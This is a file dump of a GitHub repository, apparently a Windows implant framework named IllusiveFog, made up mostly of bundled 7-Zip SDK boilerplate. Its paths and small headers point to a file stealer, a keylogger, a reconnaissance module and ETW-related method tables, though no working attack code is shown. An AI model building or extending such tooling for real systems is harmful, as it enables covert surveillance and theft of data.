-------------------------------------------------------------------------------- 1 | EXPORTS 2 | LzmaCompress 3 | LzmaUncompress 4 | 5 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Archive/DeflateProps.cpp: -------------------------------------------------------------------------------- 1 | // DeflateProps.cpp 2 | 3 | #include "StdAfx.h" 4 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Bundles/Format7z/StdAfx.cpp: -------------------------------------------------------------------------------- 1 | // StdAfx.cpp 2 | 3 | #include "StdAfx.h" 4 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Bundles/Format7zF/StdAfx.cpp: -------------------------------------------------------------------------------- 1 | // StdAfx.cpp 2 | 3 | #include "StdAfx.h" 4 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Bundles/Format7zR/StdAfx.cpp: -------------------------------------------------------------------------------- 1 | // StdAfx.cpp 2 | 3 | #include "StdAfx.h" 4 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Bundles/SFXSetup/StdAfx.cpp: -------------------------------------------------------------------------------- 1 | // StdAfx.cpp 2 | 3 | #include "StdAfx.h" 4 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Common/LockedStream.cpp: -------------------------------------------------------------------------------- 1 | // LockedStream.cpp 2 | 3 | #include "StdAfx.h" 4 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/MyVersion.h: -------------------------------------------------------------------------------- 1 | #define USE_COPYRIGHT_CR 2 | #include "../../C/7zVersion.h" 3 | -------------------------------------------------------------------------------- /client/VerboseRecon(SystemInfo,NetworkInfo)/common.h: -------------------------------------------------------------------------------- 1 | #define VR2_METHODS 2 2 | char methods[VR2_METHODS][100] = { "0xB44","0xB33" }; -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Bundles/Format7zExtract/StdAfx.cpp: -------------------------------------------------------------------------------- 1 | // StdAfx.cpp 2 | 3 | #include "StdAfx.h" 4 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Bundles/Format7zExtractR/StdAfx.cpp: -------------------------------------------------------------------------------- 1 | // StdAfx.cpp 2 | 3 | #include "StdAfx.h" 4 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/MyVersionInfo.rc: -------------------------------------------------------------------------------- 1 | #include "MyVersion.h" 2 | #include "..\..\C\7zVersion.rc" 3 | -------------------------------------------------------------------------------- /client/shared/crypto/hex.h: -------------------------------------------------------------------------------- 1 | #include 2 | unsigned char* hexstr_to_char(const char* hexstr/*,DWORD szlen,DWORD finall*/); -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/FileManager/EditDialogRes.h: -------------------------------------------------------------------------------- 1 | #define IDD_EDIT_DLG 94 2 | #define IDE_EDIT 100 3 | -------------------------------------------------------------------------------- /srvfin/support/db_bkp/IllusiveFog.db: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChaitanyaHaritash/IllusiveFog/HEAD/srvfin/support/db_bkp/IllusiveFog.db -------------------------------------------------------------------------------- /client/VerboseRecon(MitigationsCheck,UpdateCheck)/common.h: -------------------------------------------------------------------------------- 1 | #define VR2_METHODS 2 2 | char vr_methods[VR2_METHODS][100] = { "0xB22","0xB44" }; -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/7z.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChaitanyaHaritash/IllusiveFog/HEAD/client/bit7z-3.1.5/bit7z-3.1.5/7z.dll -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Archive/7z/7zCompressionMode.cpp: -------------------------------------------------------------------------------- 1 | // CompressionMethod.cpp 2 | 3 | #include "StdAfx.h" 4 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Archive/Common/ParseProperties.cpp: -------------------------------------------------------------------------------- 1 | // ParseProperties.cpp 2 | 3 | #include "StdAfx.h" 4 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/FileManager/ListViewDialogRes.h: -------------------------------------------------------------------------------- 1 | #define IDD_LISTVIEW 99 2 | #define IDL_LISTVIEW 100 3 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/FileManager/ProgramLocation.cpp: -------------------------------------------------------------------------------- 1 | // ProgramLocation.cpp 2 | 3 | #include "StdAfx.h" 4 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Compress/ImplodeHuffmanDecoder.cpp: -------------------------------------------------------------------------------- 1 | // ImplodeHuffmanDecoder.cpp 2 | 3 | #include "StdAfx.h" 4 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/cmpl_gcc.mak: -------------------------------------------------------------------------------- 1 | include ../../var_gcc.mak 2 | include ../../warn_gcc.mak 3 | include makefile.gcc 4 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/FileManager/ProgressDialogRes.h: -------------------------------------------------------------------------------- 1 | #define IDD_PROGRESS 97 2 | 3 | #define IDC_PROGRESS1 100 4 | -------------------------------------------------------------------------------- /docs/illustrations/Startup-Illustration.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChaitanyaHaritash/IllusiveFog/HEAD/docs/illustrations/Startup-Illustration.png -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/C/Util/LzmaLib/resource.rc: -------------------------------------------------------------------------------- 1 | #include "../../7zVersion.rc" 2 | 3 | MY_VERSION_INFO_DLL("LZMA library", "LZMA") 4 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/GUI/resource2.h: -------------------------------------------------------------------------------- 1 | #define IDS_PROGRESS_COMPRESSING 3301 2 | #define IDS_ARCHIVES_COLON 3907 3 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/cmpl_clang.mak: -------------------------------------------------------------------------------- 1 | include ../../var_clang.mak 2 | include ../../warn_clang.mak 3 | include makefile.gcc 4 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/cmpl_gcc_x64.mak: -------------------------------------------------------------------------------- 1 | include ../../var_gcc_x64.mak 2 | include ../../warn_gcc.mak 3 | include makefile.gcc 4 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/cmpl_gcc_x86.mak: -------------------------------------------------------------------------------- 1 | include ../../var_gcc_x86.mak 2 | include ../../warn_gcc.mak 3 | include makefile.gcc 4 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/EmbedResources.aps: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChaitanyaHaritash/IllusiveFog/HEAD/client/bit7z-3.1.5/bit7z-3.1.5/EmbedResources.aps -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/curl/libcurl_a.lib: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChaitanyaHaritash/IllusiveFog/HEAD/client/bit7z-3.1.5/bit7z-3.1.5/curl/libcurl_a.lib -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Bundles/LzmaCon/resource.rc: -------------------------------------------------------------------------------- 1 | #include "../../MyVersionInfo.rc" 2 | 3 | MY_VERSION_INFO_APP("LZMA", "lzma") 4 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/cmpl_clang_x64.mak: -------------------------------------------------------------------------------- 1 | include ../../var_clang_x64.mak 2 | include ../../warn_clang.mak 3 | include makefile.gcc 4 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/cmpl_clang_x86.mak: -------------------------------------------------------------------------------- 1 | include ../../var_clang_x86.mak 2 | include ../../warn_clang.mak 3 | include makefile.gcc 4 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/cmpl_gcc_arm64.mak: -------------------------------------------------------------------------------- 1 | include ../../var_gcc_arm64.mak 2 | include ../../warn_gcc.mak 3 | include makefile.gcc 4 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/cmpl_mac_x64.mak: -------------------------------------------------------------------------------- 1 | include ../../var_mac_x64.mak 2 | include ../../warn_clang_mac.mak 3 | include makefile.gcc 4 | -------------------------------------------------------------------------------- /docs/illustrations/communication-illustration.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChaitanyaHaritash/IllusiveFog/HEAD/docs/illustrations/communication-illustration.png -------------------------------------------------------------------------------- /docs/illustrations/plugin-launch-illustration.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChaitanyaHaritash/IllusiveFog/HEAD/docs/illustrations/plugin-launch-illustration.png -------------------------------------------------------------------------------- /docs/illustrations/plugin_unload_illustration.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChaitanyaHaritash/IllusiveFog/HEAD/docs/illustrations/plugin_unload_illustration.png -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/C/Util/7z/Precomp.c: -------------------------------------------------------------------------------- 1 | /* Precomp.c -- StdAfx 2 | 2013-01-21 : Igor Pavlov : Public domain */ 3 | 4 | #include "Precomp.h" 5 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/Client7z/resource.rc: -------------------------------------------------------------------------------- 1 | #include "../../MyVersionInfo.rc" 2 | 3 | MY_VERSION_INFO_APP("7-Zip client" , "7zcl") 4 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/FileManager/ComboDialogRes.h: -------------------------------------------------------------------------------- 1 | #define IDD_COMBO 98 2 | 3 | #define IDT_COMBO 100 4 | #define IDC_COMBO 101 5 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/cmpl_clang_arm64.mak: -------------------------------------------------------------------------------- 1 | include ../../var_clang_arm64.mak 2 | include ../../warn_clang.mak 3 | include makefile.gcc 4 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/cmpl_mac_arm64.mak: -------------------------------------------------------------------------------- 1 | include ../../var_mac_arm64.mak 2 | include ../../warn_clang_mac.mak 3 | include makefile.gcc 4 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/FileStealerPellet.aps: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChaitanyaHaritash/IllusiveFog/HEAD/client/bit7z-3.1.5/bit7z-3.1.5/FileStealerPellet.aps -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/C/Util/SfxSetup/Precomp.c: -------------------------------------------------------------------------------- 1 | /* Precomp.c -- StdAfx 2 | 2013-01-21 : Igor Pavlov : Public domain */ 3 | 4 | #include "Precomp.h" 5 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Crypto/Codec.def: -------------------------------------------------------------------------------- 1 | EXPORTS 2 | CreateObject PRIVATE 3 | GetNumberOfMethods PRIVATE 4 | GetMethodProperty PRIVATE 5 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/Common/C_FileIO.h: -------------------------------------------------------------------------------- 1 | // Common/C_FileIO.h 2 | 3 | #ifndef __COMMON_C_FILEIO_H 4 | #define __COMMON_C_FILEIO_H 5 | 6 | #endif 7 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/Common/StdAfx.h: -------------------------------------------------------------------------------- 1 | // StdAfx.h 2 | 3 | #ifndef __STDAFX_H 4 | #define __STDAFX_H 5 | 6 | #include "Common.h" 7 | 8 | #endif 9 | -------------------------------------------------------------------------------- /client/shared/common/allocation.h: -------------------------------------------------------------------------------- 1 | #include 2 | void freeheap(LPVOID heap); 3 | LPVOID allocheap(DWORD size); 4 | LPVOID reallocheap(LPVOID heap, DWORD size); -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/C/Util/7zipInstall/Precomp.c: -------------------------------------------------------------------------------- 1 | /* Precomp.c -- StdAfx 2 | 2013-01-21 : Igor Pavlov : Public domain */ 3 | 4 | #include "Precomp.h" 5 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/C/Util/7zipUninstall/Precomp.c: -------------------------------------------------------------------------------- 1 | /* Precomp.c -- StdAfx 2 | 2013-01-21 : Igor Pavlov : Public domain */ 3 | 4 | #include "Precomp.h" 5 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Archive/DeflateProps.h: -------------------------------------------------------------------------------- 1 | // DeflateProps.h 2 | 3 | #ifndef __DEFLATE_PROPS_H 4 | #define __DEFLATE_PROPS_H 5 | 6 | #endif 7 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Common/LockedStream.h: -------------------------------------------------------------------------------- 1 | // LockedStream.h 2 | 3 | #ifndef __LOCKED_STREAM_H 4 | #define __LOCKED_STREAM_H 5 | 6 | #endif 7 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Compress/makefile: -------------------------------------------------------------------------------- 1 | DIRS = \ 2 | LZMA_Alone\~ \ 3 | 4 | all: $(DIRS) 5 | 6 | $(DIRS): 7 | !include "../SubBuild.mak" 8 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/FileManager/MessagesDialogRes.h: -------------------------------------------------------------------------------- 1 | #define IDD_MESSAGES 6602 2 | #define IDS_MESSAGE 6603 3 | #define IDL_MESSAGE 100 4 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/Far/resource.rc: -------------------------------------------------------------------------------- 1 | #include "../../MyVersionInfo.rc" 2 | 3 | MY_VERSION_INFO_DLL("7-Zip Plugin for FAR Manager", "7-ZipFar") 4 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/Windows/StdAfx.h: -------------------------------------------------------------------------------- 1 | // StdAfx.h 2 | 3 | #ifndef __STDAFX_H 4 | #define __STDAFX_H 5 | 6 | #include "../Common/Common.h" 7 | 8 | #endif 9 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/curl/debug/libcurl_a_debug.lib: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChaitanyaHaritash/IllusiveFog/HEAD/client/bit7z-3.1.5/bit7z-3.1.5/curl/debug/libcurl_a_debug.lib -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Archive/StdAfx.h: -------------------------------------------------------------------------------- 1 | // StdAfx.h 2 | 3 | #ifndef __STDAFX_H 4 | #define __STDAFX_H 5 | 6 | #include "../../Common/Common.h" 7 | 8 | #endif 9 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Bundles/SFXCon/resource.rc: -------------------------------------------------------------------------------- 1 | #include "../../MyVersionInfo.rc" 2 | 3 | MY_VERSION_INFO_APP("7z Console SFX", "7z.sfx") 4 | 5 | 101 ICON "7z.ico" -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Common/StdAfx.h: -------------------------------------------------------------------------------- 1 | // StdAfx.h 2 | 3 | #ifndef __STDAFX_H 4 | #define __STDAFX_H 5 | 6 | #include "../../Common/Common.h" 7 | 8 | #endif 9 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Compress/StdAfx.h: -------------------------------------------------------------------------------- 1 | // StdAfx.h 2 | 3 | #ifndef __STDAFX_H 4 | #define __STDAFX_H 5 | 6 | #include "../../Common/Common.h" 7 | 8 | #endif 9 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Crypto/StdAfx.h: -------------------------------------------------------------------------------- 1 | // StdAfx.h 2 | 3 | #ifndef __STDAFX_H 4 | #define __STDAFX_H 5 | 6 | #include "../../Common/Common.h" 7 | 8 | #endif 9 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/Far/StdAfx.h: -------------------------------------------------------------------------------- 1 | // StdAfx.h 2 | 3 | #ifndef __STDAFX_H 4 | #define __STDAFX_H 5 | 6 | #include "../../../Common/Common.h" 7 | 8 | #endif 9 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/GUI/FM.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChaitanyaHaritash/IllusiveFog/HEAD/client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/GUI/FM.ico -------------------------------------------------------------------------------- /client/ETW/common.h: -------------------------------------------------------------------------------- 1 | #define ETW_METHODS 3 2 | char methods[ETW_METHODS][100] = { "0x77","0x74","0x75" }; 3 | //#define ETW_METHODS 3 4 | //char methods[ETW_METHODS][100] = { "0x77","0x74","0x75" }; -------------------------------------------------------------------------------- /client/KeyLog/framework.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers 4 | // Windows Header Files 5 | #include 6 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/C/Util/SfxSetup/resource.rc: -------------------------------------------------------------------------------- 1 | #include "../../7zVersion.rc" 2 | 3 | MY_VERSION_INFO_APP("7z Setup SFX small", "7zS2.sfx") 4 | 5 | 1 ICON "setup.ico" 6 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/C/Util/SfxSetup/setup.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChaitanyaHaritash/IllusiveFog/HEAD/client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/C/Util/SfxSetup/setup.ico -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Archive/7z/StdAfx.h: -------------------------------------------------------------------------------- 1 | // StdAfx.h 2 | 3 | #ifndef __STDAFX_H 4 | #define __STDAFX_H 5 | 6 | #include "../../../Common/Common.h" 7 | 8 | #endif 9 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Archive/Cab/StdAfx.h: -------------------------------------------------------------------------------- 1 | // StdAfx.h 2 | 3 | #ifndef __STDAFX_H 4 | #define __STDAFX_H 5 | 6 | #include "../../../Common/Common.h" 7 | 8 | #endif 9 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Archive/Chm/StdAfx.h: -------------------------------------------------------------------------------- 1 | // StdAfx.h 2 | 3 | #ifndef __STDAFX_H 4 | #define __STDAFX_H 5 | 6 | #include "../../../Common/Common.h" 7 | 8 | #endif 9 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Archive/Common/ParseProperties.h: -------------------------------------------------------------------------------- 1 | // ParseProperties.h 2 | 3 | #ifndef __PARSE_PROPERTIES_H 4 | #define __PARSE_PROPERTIES_H 5 | 6 | #endif 7 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Archive/Iso/StdAfx.h: -------------------------------------------------------------------------------- 1 | // StdAfx.h 2 | 3 | #ifndef __STDAFX_H 4 | #define __STDAFX_H 5 | 6 | #include "../../../Common/Common.h" 7 | 8 | #endif 9 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Archive/Rar/StdAfx.h: -------------------------------------------------------------------------------- 1 | // StdAfx.h 2 | 3 | #ifndef __STDAFX_H 4 | #define __STDAFX_H 5 | 6 | #include "../../../Common/Common.h" 7 | 8 | #endif 9 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Archive/Tar/StdAfx.h: -------------------------------------------------------------------------------- 1 | // StdAfx.h 2 | 3 | #ifndef __STDAFX_H 4 | #define __STDAFX_H 5 | 6 | #include "../../../Common/Common.h" 7 | 8 | #endif 9 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Archive/Udf/StdAfx.h: -------------------------------------------------------------------------------- 1 | // StdAfx.h 2 | 3 | #ifndef __STDAFX_H 4 | #define __STDAFX_H 5 | 6 | #include "../../../Common/Common.h" 7 | 8 | #endif 9 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Archive/Wim/StdAfx.h: -------------------------------------------------------------------------------- 1 | // StdAfx.h 2 | 3 | #ifndef __STDAFX_H 4 | #define __STDAFX_H 5 | 6 | #include "../../../Common/Common.h" 7 | 8 | #endif 9 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Archive/Zip/StdAfx.h: -------------------------------------------------------------------------------- 1 | // StdAfx.h 2 | 3 | #ifndef __STDAFX_H 4 | #define __STDAFX_H 5 | 6 | #include "../../../Common/Common.h" 7 | 8 | #endif 9 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/Agent/StdAfx.h: -------------------------------------------------------------------------------- 1 | // StdAfx.h 2 | 3 | #ifndef __STDAFX_H 4 | #define __STDAFX_H 5 | 6 | #include "../../../Common/Common.h" 7 | 8 | #endif 9 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/Client7z/StdAfx.h: -------------------------------------------------------------------------------- 1 | // StdAfx.h 2 | 3 | #ifndef __STDAFX_H 4 | #define __STDAFX_H 5 | 6 | #include "../../../Common/Common.h" 7 | 8 | #endif 9 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/Common/StdAfx.h: -------------------------------------------------------------------------------- 1 | // StdAfx.h 2 | 3 | #ifndef __STDAFX_H 4 | #define __STDAFX_H 5 | 6 | #include "../../../Common/Common.h" 7 | 8 | #endif 9 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/Console/StdAfx.h: -------------------------------------------------------------------------------- 1 | // StdAfx.h 2 | 3 | #ifndef __STDAFX_H 4 | #define __STDAFX_H 5 | 6 | #include "../../../Common/Common.h" 7 | 8 | #endif 9 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/FileManager/ProgramLocation.h: -------------------------------------------------------------------------------- 1 | // ProgramLocation.h 2 | 3 | #ifndef __PROGRAM_LOCATION_H 4 | #define __PROGRAM_LOCATION_H 5 | 6 | #endif 7 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/Windows/Control/StdAfx.h: -------------------------------------------------------------------------------- 1 | // StdAfx.h 2 | 3 | #ifndef __STDAFX_H 4 | #define __STDAFX_H 5 | 6 | #include "../../Common/Common.h" 7 | 8 | #endif 9 | -------------------------------------------------------------------------------- /client/shared/common/stringconvert.h: -------------------------------------------------------------------------------- 1 | #include "customcrt/crtstring.h" 2 | 3 | 4 | DWORD ascii2wide(char* ascii, WCHAR* wide, DWORD len); 5 | DWORD wide2ascii(WCHAR* wide, char* ascii, DWORD len); -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/C/Util/7zipInstall/7zip.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChaitanyaHaritash/IllusiveFog/HEAD/client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/C/Util/7zipInstall/7zip.ico -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Archive/Common/StdAfx.h: -------------------------------------------------------------------------------- 1 | // StdAfx.h 2 | 3 | #ifndef __STDAFX_H 4 | #define __STDAFX_H 5 | 6 | #include "../../../Common/Common.h" 7 | 8 | #endif 9 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Archive/Icons/z.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChaitanyaHaritash/IllusiveFog/HEAD/client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Archive/Icons/z.ico -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Archive/Nsis/StdAfx.h: -------------------------------------------------------------------------------- 1 | // StdAfx.h 2 | 3 | #ifndef __STDAFX_H 4 | #define __STDAFX_H 5 | 6 | #include "../../../Common/Common.h" 7 | 8 | #endif 9 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Bundles/Alone/StdAfx.h: -------------------------------------------------------------------------------- 1 | // StdAfx.h 2 | 3 | #ifndef __STDAFX_H 4 | #define __STDAFX_H 5 | 6 | #include "../../../Common/Common.h" 7 | 8 | #endif 9 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Bundles/Alone2/StdAfx.h: -------------------------------------------------------------------------------- 1 | // StdAfx.h 2 | 3 | #ifndef __STDAFX_H 4 | #define __STDAFX_H 5 | 6 | #include "../../../Common/Common.h" 7 | 8 | #endif 9 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Bundles/Alone7z/StdAfx.h: -------------------------------------------------------------------------------- 1 | // StdAfx.h 2 | 3 | #ifndef __STDAFX_H 4 | #define __STDAFX_H 5 | 6 | #include "../../../Common/Common.h" 7 | 8 | #endif 9 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Bundles/Format7z/StdAfx.h: -------------------------------------------------------------------------------- 1 | // StdAfx.h 2 | 3 | #ifndef __STDAFX_H 4 | #define __STDAFX_H 5 | 6 | #include "../../../Common/Common.h" 7 | 8 | #endif 9 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Bundles/LzmaCon/StdAfx.h: -------------------------------------------------------------------------------- 1 | // StdAfx.h 2 | 3 | #ifndef __STDAFX_H 4 | #define __STDAFX_H 5 | 6 | #include "../../../Common/Common.h" 7 | 8 | #endif 9 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Bundles/SFXCon/StdAfx.h: -------------------------------------------------------------------------------- 1 | // StdAfx.h 2 | 3 | #ifndef __STDAFX_H 4 | #define __STDAFX_H 5 | 6 | #include "../../../Common/Common.h" 7 | 8 | #endif 9 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/makefile: -------------------------------------------------------------------------------- 1 | DIRS = \ 2 | UI\~ \ 3 | Bundles\~ \ 4 | 5 | all: $(DIRS) 6 | 7 | $(DIRS): 8 | cd $(@D) 9 | $(MAKE) -nologo 10 | cd .. 11 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Archive/Icons/7z.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChaitanyaHaritash/IllusiveFog/HEAD/client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Archive/Icons/7z.ico -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Archive/Icons/arj.ico: -------------------------------------------------------------------------------- 